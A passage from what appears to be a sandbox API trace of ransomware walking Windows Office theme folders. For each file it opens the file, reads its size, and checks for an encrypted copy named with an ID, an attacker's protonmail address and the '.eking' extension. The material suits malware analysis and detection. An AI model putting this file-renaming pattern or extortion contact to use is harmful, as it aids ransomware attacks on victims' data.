Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0174.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0174.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0174.434] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=48115) returned 1 [0174.434] CloseHandle (hObject=0x1f0) returned 1 [0174.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0174.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0174.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0174.435] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=50761) returned 1 [0174.435] CloseHandle (hObject=0x1f0) returned 1 [0174.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm")) returned 0x20 [0174.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm")) returned 0x20 [0174.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.439] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=585) returned 1 [0174.439] CloseHandle (hObject=0x1e4) returned 1 [0174.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf")) returned 0x20 [0174.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf")) returned 0x20 [0174.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.439] SetEvent (hEvent=0x174) returned 1 [0174.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.440] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1364) returned 1 [0174.440] CloseHandle (hObject=0x1e4) returned 1 [0174.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0174.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0174.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.441] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=11573) returned 1 [0174.441] CloseHandle (hObject=0x1e4) returned 1 [0174.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0174.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0174.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.442] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=91861) returned 1 [0174.442] CloseHandle (hObject=0x1e4) returned 1 [0174.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm")) returned 0x20 [0174.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm")) returned 0x20 [0174.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.444] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=500) returned 1 [0174.444] CloseHandle (hObject=0x1e4) returned 1 [0174.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf")) returned 0x20 [0174.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf")) returned 0x20 [0174.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.445] SetEvent (hEvent=0x174) returned 1 [0174.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.445] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2574) returned 1 [0174.446] CloseHandle (hObject=0x1e4) returned 1 [0174.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0174.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0174.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.447] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=37440) returned 1 [0174.447] CloseHandle (hObject=0x1e4) returned 1 [0174.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0174.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0174.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.448] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=53477) returned 1 [0174.448] CloseHandle (hObject=0x1e4) returned 1 [0174.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm")) returned 0x20 [0174.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm")) returned 0x20 [0174.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.449] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=539) returned 1 [0174.449] CloseHandle (hObject=0x1e4) returned 1 [0174.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf")) returned 0x20 [0174.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf")) returned 0x20 [0174.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.451] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1593) returned 1 [0174.451] CloseHandle (hObject=0x1e4) returned 1 [0174.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0174.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0174.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.453] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=21745) returned 1 [0174.453] CloseHandle (hObject=0x1e4) returned 1 [0174.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0174.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0174.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.454] SetEvent (hEvent=0x174) returned 1 [0174.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.454] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1339) returned 1 [0174.454] CloseHandle (hObject=0x1e4) returned 1 [0174.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0174.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0174.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.458] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=45582) returned 1 [0174.458] CloseHandle (hObject=0x1e4) returned 1 [0174.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm")) returned 0x20 [0174.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft 